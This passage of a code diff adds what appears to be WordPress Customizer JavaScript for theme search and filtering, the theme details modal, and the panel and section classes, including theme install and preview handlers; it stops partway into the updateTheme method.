+		 * @param {string} term - The raw search input value.
+		 * @returns {void}
+		 */
+		filterSearch: function( term ) {
+			var count = 0,
+				visible = false,
+				section = this,
+				noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes',
+				controls = section.controls(),
+				terms;
+
+			if ( section.loading ) {
+				return;
+			}
+
+			// Standardize search term format and split into an array of individual words.
+			terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' );
+
+			_.each( controls, function( control ) {
+				visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term.
+				if ( visible ) {
+					count = count + 1;
+				}
+			});
+
+			if ( 0 === count ) {
+				section.container.find( noFilter ).show();
+				wp.a11y.speak( section.container.find( noFilter ).text() );
+			} else {
+				section.container.find( noFilter ).hide();
+			}
+
+			section.renderScreenshots();
+			api.reflowPaneContents();
+
+			// Update theme count.
+			section.updateCountDebounced( count );
+		},
+
+		/**
+		 * Event handler for search input that determines if the terms have changed and loads new controls as needed.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer.
+		 * @returns {void}
+		 */
+		checkTerm: function( section ) {
+			var newTerm;
+			if ( 'remote' === section.params.filter_type ) {
+				newTerm = section.contentContainer.find( '.wp-filter-search' ).val();
+				if ( section.term !== newTerm.trim() ) {
+					section.initializeNewQuery( newTerm, section.tags );
+				}
+			}
+		},
+
+		/**
+		 * Check for filters checked in the feature filter list and initialize a new query.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		filtersChecked: function() {
+			var section = this,
+			    items = section.container.find( '.filter-group' ).find( ':checkbox' ),
+			    tags = [];
+
+			_.each( items.filter( ':checked' ), function( item ) {
+				tags.push( $( item ).prop( 'value' ) );
+			});
+
+			// When no filters are checked, restore initial state. Update filter count.
+			if ( 0 === tags.length ) {
+				tags = '';
+				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show();
+				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide();
+			} else {
+				section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length );
+				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide();
+				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show();
+			}
+
+			// Check whether tags have changed, and either load or queue them.
+			if ( ! _.isEqual( section.tags, tags ) ) {
+				if ( section.loading ) {
+					section.nextTags = tags;
+				} else {
+					if ( 'remote' === section.params.filter_type ) {
+						section.initializeNewQuery( section.term, tags );
+					} else if ( 'local' === section.params.filter_type ) {
+						section.filterSearch( tags.join( ' ' ) );
+					}
+				}
+			}
+		},
+
+		/**
+		 * Reset the current query and load new results.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} newTerm - New term.
+		 * @param {Array} newTags - New tags.
+		 * @returns {void}
+		 */
+		initializeNewQuery: function( newTerm, newTags ) {
+			var section = this;
+
+			// Clear the controls in the section.
+			_.each( section.controls(), function( control ) {
+				control.container.remove();
+				api.control.remove( control.id );
+			});
+			section.loaded = 0;
+			section.fullyLoaded = false;
+			section.screenshotQueue = null;
+
+			// Run a new query, with loadThemes handling paging, etc.
+			if ( ! section.loading ) {
+				section.term = newTerm;
+				section.tags = newTags;
+				section.loadThemes();
+			} else {
+				section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded.
+				section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded.
+			}
+			if ( ! section.expanded() ) {
+				section.expand(); // Expand the section if it isn't expanded.
+			}
+		},
+
+		/**
+		 * Render control's screenshot if the control comes into view.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {void}
+		 */
+		renderScreenshots: function() {
+			var section = this;
+
+			// Fill queue initially, or check for more if empty.
+			if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) {
+
+				// Add controls that haven't had their screenshots rendered.
+				section.screenshotQueue = _.filter( section.controls(), function( control ) {
+					return ! control.screenshotRendered;
+				});
+			}
+
+			// Are all screenshots rendered (for now)?
+			if ( ! section.screenshotQueue.length ) {
+				return;
+			}
+
+			section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) {
+				var $imageWrapper = control.container.find( '.theme-screenshot' ),
+					$image = $imageWrapper.find( 'img' );
+
+				if ( ! $image.length ) {
+					return false;
+				}
+
+				if ( $image.is( ':hidden' ) ) {
+					return true;
+				}
+
+				// Based on unveil.js.
+				var wt = section.$window.scrollTop(),
+					wb = wt + section.$window.height(),
+					et = $image.offset().top,
+					ih = $imageWrapper.height(),
+					eb = et + ih,
+					threshold = ih * 3,
+					inView = eb >= wt - threshold && et <= wb + threshold;
+
+				if ( inView ) {
+					control.container.trigger( 'render-screenshot' );
+				}
+
+				// If the image is in view return false so it's cleared from the queue.
+				return ! inView;
+			} );
+		},
+
+		/**
+		 * Get visible count.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {int} Visible count.
+		 */
+		getVisibleCount: function() {
+			return this.contentContainer.find( 'li.customize-control:visible' ).length;
+		},
+
+		/**
+		 * Update the number of themes in the section.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		updateCount: function( count ) {
+			var section = this, countEl, displayed;
+
+			if ( ! count && 0 !== count ) {
+				count = section.getVisibleCount();
+			}
+
+			displayed = section.contentContainer.find( '.themes-displayed' );
+			countEl = section.contentContainer.find( '.theme-count' );
+
+			if ( 0 === count ) {
+				countEl.text( '0' );
+			} else {
+
+				// Animate the count change for emphasis.
+				displayed.fadeOut( 180, function() {
+					countEl.text( count );
+					displayed.fadeIn( 180 );
+				} );
+				wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) );
+			}
+		},
+
+		/**
+		 * Advance the modal to the next theme.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {void}
+		 */
+		nextTheme: function () {
+			var section = this;
+			if ( section.getNextTheme() ) {
+				section.showDetails( section.getNextTheme(), function() {
+					section.overlay.find( '.right' ).focus();
+				} );
+			}
+		},
+
+		/**
+		 * Get the next theme model.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {wp.customize.ThemeControl|boolean} Next theme.
+		 */
+		getNextTheme: function () {
+			var section = this, control, nextControl, sectionControls, i;
+			control = api.control( section.params.action + '_theme_' + section.currentTheme );
+			sectionControls = section.controls();
+			i = _.indexOf( sectionControls, control );
+			if ( -1 === i ) {
+				return false;
+			}
+
+			nextControl = sectionControls[ i + 1 ];
+			if ( ! nextControl ) {
+				return false;
+			}
+			return nextControl.params.theme;
+		},
+
+		/**
+		 * Advance the modal to the previous theme.
+		 *
+		 * @since 4.2.0
+		 * @returns {void}
+		 */
+		previousTheme: function () {
+			var section = this;
+			if ( section.getPreviousTheme() ) {
+				section.showDetails( section.getPreviousTheme(), function() {
+					section.overlay.find( '.left' ).focus();
+				} );
+			}
+		},
+
+		/**
+		 * Get the previous theme model.
+		 *
+		 * @since 4.2.0
+		 * @returns {wp.customize.ThemeControl|boolean} Previous theme.
+		 */
+		getPreviousTheme: function () {
+			var section = this, control, nextControl, sectionControls, i;
+			control = api.control( section.params.action + '_theme_' + section.currentTheme );
+			sectionControls = section.controls();
+			i = _.indexOf( sectionControls, control );
+			if ( -1 === i ) {
+				return false;
+			}
+
+			nextControl = sectionControls[ i - 1 ];
+			if ( ! nextControl ) {
+				return false;
+			}
+			return nextControl.params.theme;
+		},
+
+		/**
+		 * Disable buttons when we're viewing the first or last theme.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {void}
+		 */
+		updateLimits: function () {
+			if ( ! this.getNextTheme() ) {
+				this.overlay.find( '.right' ).addClass( 'disabled' );
+			}
+			if ( ! this.getPreviousTheme() ) {
+				this.overlay.find( '.left' ).addClass( 'disabled' );
+			}
+		},
+
+		/**
+		 * Load theme preview.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @deprecated
+		 * @param {string} themeId Theme ID.
+		 * @returns {jQuery.promise} Promise.
+		 */
+		loadThemePreview: function( themeId ) {
+			return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId );
+		},
+
+		/**
+		 * Render & show the theme details for a given theme model.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {object} theme - Theme.
+		 * @param {Function} [callback] - Callback once the details have been shown.
+		 * @returns {void}
+		 */
+		showDetails: function ( theme, callback ) {
+			var section = this, panel = api.panel( 'themes' );
+			section.currentTheme = theme.id;
+			section.overlay.html( section.template( theme ) )
+				.fadeIn( 'fast' )
+				.focus();
+
+			function disableSwitchButtons() {
+				return ! panel.canSwitchTheme( theme.id );
+			}
+
+			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
+			function disableInstallButtons() {
+				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
+			}
+
+			section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
+			section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
+
+			section.$body.addClass( 'modal-open' );
+			section.containFocus( section.overlay );
+			section.updateLimits();
+			wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) );
+			if ( callback ) {
+				callback();
+			}
+		},
+
+		/**
+		 * Close the theme details modal.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {void}
+		 */
+		closeDetails: function () {
+			var section = this;
+			section.$body.removeClass( 'modal-open' );
+			section.overlay.fadeOut( 'fast' );
+			api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus();
+		},
+
+		/**
+		 * Keep tab focus within the theme details modal.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {jQuery} el - Element to contain focus.
+		 * @returns {void}
+		 */
+		containFocus: function( el ) {
+			var tabbables;
+
+			el.on( 'keydown', function( event ) {
+
+				// Return if it's not the tab key
+				// When navigating with prev/next focus is already handled
+				if ( 9 !== event.keyCode ) {
+					return;
+				}
+
+				// uses jQuery UI to get the tabbable elements
+				tabbables = $( ':tabbable', el );
+
+				// Keep focus within the overlay
+				if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
+					tabbables.first().focus();
+					return false;
+				} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
+					tabbables.last().focus();
+					return false;
+				}
+			});
+		}
+	});
+
+	/**
+	 * Class wp.customize.OuterSection.
+	 *
+	 * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so
+	 * it would require custom handling.
+	 *
+	 * @since 4.9
+	 *
+	 * @constructor
+	 * @augments wp.customize.Section
+	 * @augments wp.customize.Container
+	 */
+	api.OuterSection = api.Section.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		initialize: function() {
+			var section = this;
+			section.containerParent = '#customize-outer-theme-controls';
+			section.containerPaneParent = '.customize-outer-pane-parent';
+			api.Section.prototype.initialize.apply( section, arguments );
+		},
+
+		/**
+		 * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect
+		 * on other sections and panels.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {Boolean}  expanded - The expanded state to transition to.
+		 * @param {Object}   [args] - Args.
+		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
+		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
+		 * @param {Object}   [args.duration] - The duration for the animation.
+		 */
+		onChangeExpanded: function( expanded, args ) {
+			var section = this,
+				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
+				content = section.contentContainer,
+				backBtn = content.find( '.customize-section-back' ),
+				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
+				body = $( document.body ),
+				expand, panel;
+
+			body.toggleClass( 'outer-section-open', expanded );
+			section.container.toggleClass( 'open', expanded );
+			section.container.removeClass( 'busy' );
+			api.section.each( function( _section ) {
+				if ( 'outer' === _section.params.type && _section.id !== section.id ) {
+					_section.container.removeClass( 'open' );
+				}
+			} );
+
+			if ( expanded && ! content.hasClass( 'open' ) ) {
+
+				if ( args.unchanged ) {
+					expand = args.completeCallback;
+				} else {
+					expand = $.proxy( function() {
+						section._animateChangeExpanded( function() {
+							sectionTitle.attr( 'tabindex', '-1' );
+							backBtn.attr( 'tabindex', '0' );
+
+							backBtn.focus();
+							content.css( 'top', '' );
+							container.scrollTop( 0 );
+
+							if ( args.completeCallback ) {
+								args.completeCallback();
+							}
+						} );
+
+						content.addClass( 'open' );
+					}, this );
+				}
+
+				if ( section.panel() ) {
+					api.panel( section.panel() ).expand({
+						duration: args.duration,
+						completeCallback: expand
+					});
+				} else {
+					expand();
+				}
+
+			} else if ( ! expanded && content.hasClass( 'open' ) ) {
+				if ( section.panel() ) {
+					panel = api.panel( section.panel() );
+					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
+						panel.collapse();
+					}
+				}
+				section._animateChangeExpanded( function() {
+					backBtn.attr( 'tabindex', '-1' );
+					sectionTitle.attr( 'tabindex', '0' );
+
+					sectionTitle.focus();
+					content.css( 'top', '' );
+
+					if ( args.completeCallback ) {
+						args.completeCallback();
+					}
+				} );
+
+				content.removeClass( 'open' );
+
+			} else {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			}
+		}
+	});
+
+	/**
+	 * @since 4.1.0
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	api.Panel = Container.extend({
+		containerType: 'panel',
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {string}         id - The ID for the panel.
+		 * @param {object}         options - Object containing one property: params.
+		 * @param {string}         options.title - Title shown when panel is collapsed and expanded.
+		 * @param {string=}        [options.description] - Description shown at the top of the panel.
+		 * @param {number=100}     [options.priority] - The sort priority for the panel.
+		 * @param {string=default} [options.type] - The type of the panel. See wp.customize.panelConstructor.
+		 * @param {string=}        [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
+		 * @param {boolean=true}   [options.active] - Whether the panel is active or not.
+		 * @param {object}         [options.params] - Deprecated wrapper for the above properties.
+		 */
+		initialize: function ( id, options ) {
+			var panel = this, params;
+			params = options.params || options;
+
+			// Look up the type if one was not supplied.
+			if ( ! params.type ) {
+				_.find( api.panelConstructor, function( Constructor, type ) {
+					if ( Constructor === panel.constructor ) {
+						params.type = type;
+						return true;
+					}
+					return false;
+				} );
+			}
+
+			Container.prototype.initialize.call( panel, id, params );
+
+			panel.embed();
+			panel.deferred.embedded.done( function () {
+				panel.ready();
+			});
+		},
+
+		/**
+		 * Embed the container in the DOM when any parent panel is ready.
+		 *
+		 * @since 4.1.0
+		 */
+		embed: function () {
+			var panel = this,
+				container = $( '#customize-theme-controls' ),
+				parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable
+
+			if ( ! panel.headContainer.parent().is( parentContainer ) ) {
+				parentContainer.append( panel.headContainer );
+			}
+			if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) {
+				container.append( panel.contentContainer );
+			}
+			panel.renderContent();
+
+			panel.deferred.embedded.resolve();
+		},
+
+		/**
+		 * @since 4.1.0
+		 */
+		attachEvents: function () {
+			var meta, panel = this;
+
+			// Expand/Collapse accordion sections on click.
+			panel.headContainer.find( '.accordion-section-title' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+
+				if ( ! panel.expanded() ) {
+					panel.expand();
+				}
+			});
+
+			// Close panel.
+			panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+
+				if ( panel.expanded() ) {
+					panel.collapse();
+				}
+			});
+
+			meta = panel.container.find( '.panel-meta:first' );
+
+			meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
+				if ( meta.hasClass( 'cannot-expand' ) ) {
+					return;
+				}
+
+				var content = meta.find( '.customize-panel-description:first' );
+				if ( meta.hasClass( 'open' ) ) {
+					meta.toggleClass( 'open' );
+					content.slideUp( panel.defaultExpandedArguments.duration, function() {
+						content.trigger( 'toggled' );
+					} );
+					$( this ).attr( 'aria-expanded', false );
+				} else {
+					content.slideDown( panel.defaultExpandedArguments.duration, function() {
+						content.trigger( 'toggled' );
+					} );
+					meta.toggleClass( 'open' );
+					$( this ).attr( 'aria-expanded', true );
+				}
+			});
+
+		},
+
+		/**
+		 * Get the sections that are associated with this panel, sorted by their priority Value.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {Array}
+		 */
+		sections: function () {
+			return this._children( 'panel', 'section' );
+		},
+
+		/**
+		 * Return whether this panel has any active sections.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {boolean} Whether contextually active.
+		 */
+		isContextuallyActive: function () {
+			var panel = this,
+				sections = panel.sections(),
+				activeCount = 0;
+			_( sections ).each( function ( section ) {
+				if ( section.active() && section.isContextuallyActive() ) {
+					activeCount += 1;
+				}
+			} );
+			return ( activeCount !== 0 );
+		},
+
+		/**
+		 * Update UI to reflect expanded state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean}  expanded
+		 * @param {Object}   args
+		 * @param {Boolean}  args.unchanged
+		 * @param {Function} args.completeCallback
+		 * @returns {void}
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+
+			// Immediately call the complete callback if there were no changes
+			if ( args.unchanged ) {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				return;
+			}
+
+			// Note: there is a second argument 'args' passed
+			var panel = this,
+				accordionSection = panel.contentContainer,
+				overlay = accordionSection.closest( '.wp-full-overlay' ),
+				container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ),
+				topPanel = panel.headContainer.find( '.accordion-section-title' ),
+				backBtn = accordionSection.find( '.customize-panel-back' ),
+				childSections = panel.sections(),
+				skipTransition;
+
+			if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) {
+				// Collapse any sibling sections/panels
+				api.section.each( function ( section ) {
+					if ( panel.id !== section.panel() ) {
+						section.collapse( { duration: 0 } );
+					}
+				});
+				api.panel.each( function ( otherPanel ) {
+					if ( panel !== otherPanel ) {
+						otherPanel.collapse( { duration: 0 } );
+					}
+				});
+
+				if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) {
+					accordionSection.addClass( 'current-panel skip-transition' );
+					overlay.addClass( 'in-sub-panel' );
+
+					childSections[0].expand( {
+						completeCallback: args.completeCallback
+					} );
+				} else {
+					panel._animateChangeExpanded( function() {
+						topPanel.attr( 'tabindex', '-1' );
+						backBtn.attr( 'tabindex', '0' );
+
+						backBtn.focus();
+						accordionSection.css( 'top', '' );
+						container.scrollTop( 0 );
+
+						if ( args.completeCallback ) {
+							args.completeCallback();
+						}
+					} );
+
+					accordionSection.addClass( 'current-panel' );
+					overlay.addClass( 'in-sub-panel' );
+				}
+
+				api.state( 'expandedPanel' ).set( panel );
+
+			} else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) {
+				skipTransition = accordionSection.hasClass( 'skip-transition' );
+				if ( ! skipTransition ) {
+					panel._animateChangeExpanded( function() {
+						topPanel.attr( 'tabindex', '0' );
+						backBtn.attr( 'tabindex', '-1' );
+
+						topPanel.focus();
+						accordionSection.css( 'top', '' );
+
+						if ( args.completeCallback ) {
+							args.completeCallback();
+						}
+					} );
+				} else {
+					accordionSection.removeClass( 'skip-transition' );
+				}
+
+				overlay.removeClass( 'in-sub-panel' );
+				accordionSection.removeClass( 'current-panel' );
+				if ( panel === api.state( 'expandedPanel' ).get() ) {
+					api.state( 'expandedPanel' ).set( false );
+				}
+			}
+		},
+
+		/**
+		 * Render the panel from its JS template, if it exists.
+		 *
+		 * The panel's container must already exist in the DOM.
+		 *
+		 * @since 4.3.0
+		 */
+		renderContent: function () {
+			var template,
+				panel = this;
+
+			// Add the content to the container.
+			if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) {
+				template = wp.template( panel.templateSelector + '-content' );
+			} else {
+				template = wp.template( 'customize-panel-default-content' );
+			}
+			if ( template && panel.headContainer ) {
+				panel.contentContainer.html( template( _.extend(
+					{ id: panel.id },
+					panel.params
+				) ) );
+			}
+		}
+	});
+
+	/**
+	 * Class wp.customize.ThemesPanel.
+	 *
+	 * Custom section for themes that displays without the customize preview.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Panel
+	 * @augments wp.customize.Container
+	 */
+	api.ThemesPanel = api.Panel.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} id - The ID for the panel.
+		 * @param {object} options - Options.
+		 * @returns {void}
+		 */
+		initialize: function( id, options ) {
+			var panel = this;
+			panel.installingThemes = [];
+			api.Panel.prototype.initialize.call( panel, id, options );
+		},
+
+		/**
+		 * Determine whether a given theme can be switched to, or in general.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} [slug] - Theme slug.
+		 * @returns {boolean} Whether the theme can be switched to.
+		 */
+		canSwitchTheme: function canSwitchTheme( slug ) {
+			if ( slug && slug === api.settings.theme.stylesheet ) {
+				return true;
+			}
+			return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() );
+		},
+
+		/**
+		 * Attach events.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		attachEvents: function() {
+			var panel = this;
+
+			// Attach regular panel events.
+			api.Panel.prototype.attachEvents.apply( panel );
+
+			// Temporary since supplying SFTP credentials does not work yet. See #42184
+			if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) {
+				panel.notifications.add( new api.Notification( 'theme_install_unavailable', {
+					message: api.l10n.themeInstallUnavailable,
+					type: 'info',
+					dismissible: true
+				} ) );
+			}
+
+			function toggleDisabledNotifications() {
+				if ( panel.canSwitchTheme() ) {
+					panel.notifications.remove( 'theme_switch_unavailable' );
+				} else {
+					panel.notifications.add( new api.Notification( 'theme_switch_unavailable', {
+						message: api.l10n.themePreviewUnavailable,
+						type: 'warning'
+					} ) );
+				}
+			}
+			toggleDisabledNotifications();
+			api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications );
+			api.state( 'changesetStatus' ).bind( toggleDisabledNotifications );
+
+			// Collapse panel to customize the current theme.
+			panel.contentContainer.on( 'click', '.customize-theme', function() {
+				panel.collapse();
+			});
+
+			// Toggle between filtering and browsing themes on mobile.
+			panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() {
+				$( '.wp-full-overlay' ).toggleClass( 'showing-themes' );
+			});
+
+			// Install (and maybe preview) a theme.
+			panel.contentContainer.on( 'click', '.theme-install', function( event ) {
+				panel.installTheme( event );
+			});
+
+			// Update a theme. Theme cards have the class, the details modal has the id.
+			panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) {
+
+				// #update-theme is a link.
+				event.preventDefault();
+				event.stopPropagation();
+
+				panel.updateTheme( event );
+			});
+
+			// Delete a theme.
+			panel.contentContainer.on( 'click', '.delete-theme', function( event ) {
+				panel.deleteTheme( event );
+			});
+
+			_.bindAll( panel, 'installTheme', 'updateTheme' );
+		},
+
+		/**
+		 * Update UI to reflect expanded state
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {Boolean}  expanded - Expanded state.
+		 * @param {Object}   args - Args.
+		 * @param {Boolean}  args.unchanged - Whether or not the state changed.
+		 * @param {Function} args.completeCallback - Callback to execute when the animation completes.
+		 * @returns {void}
+		 */
+		onChangeExpanded: function( expanded, args ) {
+			var panel = this, overlay, sections, hasExpandedSection = false;
+
+			// Expand/collapse the panel normally.
+			api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] );
+
+			// Immediately call the complete callback if there were no changes
+			if ( args.unchanged ) {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				return;
+			}
+
+			overlay = panel.headContainer.closest( '.wp-full-overlay' );
+
+			if ( expanded ) {
+				overlay
+					.addClass( 'in-themes-panel' )
+					.delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' );
+
+				_.delay( function() {
+					overlay.addClass( 'themes-panel-expanded' );
+				}, 200 );
+
+				// Automatically open the first section (except on small screens), if one isn't already expanded.
+				if ( 600 < window.innerWidth ) {
+					sections = panel.sections();
+					_.each( sections, function( section ) {
+						if ( section.expanded() ) {
+							hasExpandedSection = true;
+						}
+					} );
+					if ( ! hasExpandedSection && sections.length > 0 ) {
+						sections[0].expand();
+					}
+				}
+			} else {
+				overlay
+					.removeClass( 'in-themes-panel themes-panel-expanded' )
+					.find( '.customize-themes-full-container' ).removeClass( 'animate' );
+			}
+		},
+
+		/**
+		 * Install a theme via wp.updates.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {jQuery.Event} event - Event.
+		 * @returns {jQuery.promise} Promise.
+		 */
+		installTheme: function( event ) {
+			var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request;
+			preview = $( event.target ).hasClass( 'preview' );
+
+			// Temporary since supplying SFTP credentials does not work yet. See #42184.
+			if ( api.settings.theme._filesystemCredentialsNeeded ) {
+				deferred.reject({
+					errorCode: 'theme_install_unavailable'
+				});
+				return deferred.promise();
+			}
+
+			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
+			if ( ! panel.canSwitchTheme( slug ) ) {
+				deferred.reject({
+					errorCode: 'theme_switch_unavailable'
+				});
+				return deferred.promise();
+			}
+
+			// Theme is already being installed.
+			if ( _.contains( panel.installingThemes, slug ) ) {
+				deferred.reject({
+					errorCode: 'theme_already_installing'
+				});
+				return deferred.promise();
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			onInstallSuccess = function( response ) {
+				var theme = false, themeControl;
+				if ( preview ) {
+					api.notifications.remove( 'theme_installing' );
+
+					panel.loadThemePreview( slug );
+
+				} else {
+					api.control.each( function( control ) {
+						if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
+							theme = control.params.theme; // Used below to add theme control.
+							control.rerenderAsInstalled( true );
+						}
+					});
+
+					// Don't add the same theme more than once.
+					if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) {
+						deferred.resolve( response );
+						return;
+					}
+
+					// Add theme control to installed section.
+					theme.type = 'installed';
+					themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, {
+						type: 'theme',
+						section: 'installed_themes',
+						theme: theme,
+						priority: 0 // Add all newly-installed themes to the top.
+					} );
+
+					api.control.add( themeControl );
+					api.control( themeControl.id ).container.trigger( 'render-screenshot' );
+
+					// Close the details modal if it's open to the installed theme.
+					api.section.each( function( section ) {
+						if ( 'themes' === section.params.type ) {
+							if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere.
+								section.closeDetails();
+							}
+						}
+					});
+				}
+				deferred.resolve( response );
+			};
+
+			panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again.
+			request = wp.updates.installTheme( {
+				slug: slug
+			} );
+
+			// Also preview the theme as the event is triggered on Install & Preview.
+			if ( preview ) {
+				api.notifications.add( new api.OverlayNotification( 'theme_installing', {
+					message: api.l10n.themeDownloading,
+					type: 'info',
+					loading: true
+				} ) );
+			}
+
+			request.done( onInstallSuccess );
+			request.fail( function() {
+				api.notifications.remove( 'theme_installing' );
+			} );
+
+			return deferred.promise();
+		},
+
+		/**
+		 * Load theme preview.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} themeId Theme ID.
+		 * @returns {jQuery.promise} Promise.
+		 */
+		loadThemePreview: function( themeId ) {
+			var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams;
+
+			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
+			if ( ! panel.canSwitchTheme( themeId ) ) {
+				deferred.reject({
+					errorCode: 'theme_switch_unavailable'
+				});
+				return deferred.promise();
+			}
+
+			urlParser = document.createElement( 'a' );
+			urlParser.href = location.href;
+			queryParams = _.extend(
+				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
+				{
+					theme: themeId,
+					changeset_uuid: api.settings.changeset.uuid,
+					'return': api.settings.url['return']
+				}
+			);
+
+			// Include autosaved param to load autosave revision without prompting user to restore it.
+			if ( ! api.state( 'saved' ).get() ) {
+				queryParams.customize_autosaved = 'on';
+			}
+
+			urlParser.search = $.param( queryParams );
+
+			// Update loading message. Everything else is handled by reloading the page.
+			api.notifications.add( new api.OverlayNotification( 'theme_previewing', {
+				message: api.l10n.themePreviewWait,
+				type: 'info',
+				loading: true
+			} ) );
+
+			onceProcessingComplete = function() {
+				var request;
+				if ( api.state( 'processing' ).get() > 0 ) {
+					return;
+				}
+
+				api.state( 'processing' ).unbind( onceProcessingComplete );
+
+				request = api.requestChangesetUpdate( {}, { autosave: true } );
+				request.done( function() {
+					deferred.resolve();
+					$( window ).off( 'beforeunload.customize-confirm' );
+					location.replace( urlParser.href );
+				} );
+				request.fail( function() {
+
+					// @todo Show notification regarding failure.
+					api.notifications.remove( 'theme_previewing' );
+
+					deferred.reject();
+				} );
+			};
+
+			if ( 0 === api.state( 'processing' ).get() ) {
+				onceProcessingComplete();
+			} else {
+				api.state( 'processing' ).bind( onceProcessingComplete );
+			}
+
+			return deferred.promise();
+		},
+
+		/**
+		 * Update a theme via wp.updates.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {jQuery.Event} event - Event.
+		 * @returns {void}
+		 */
+		updateTheme: function( event ) {
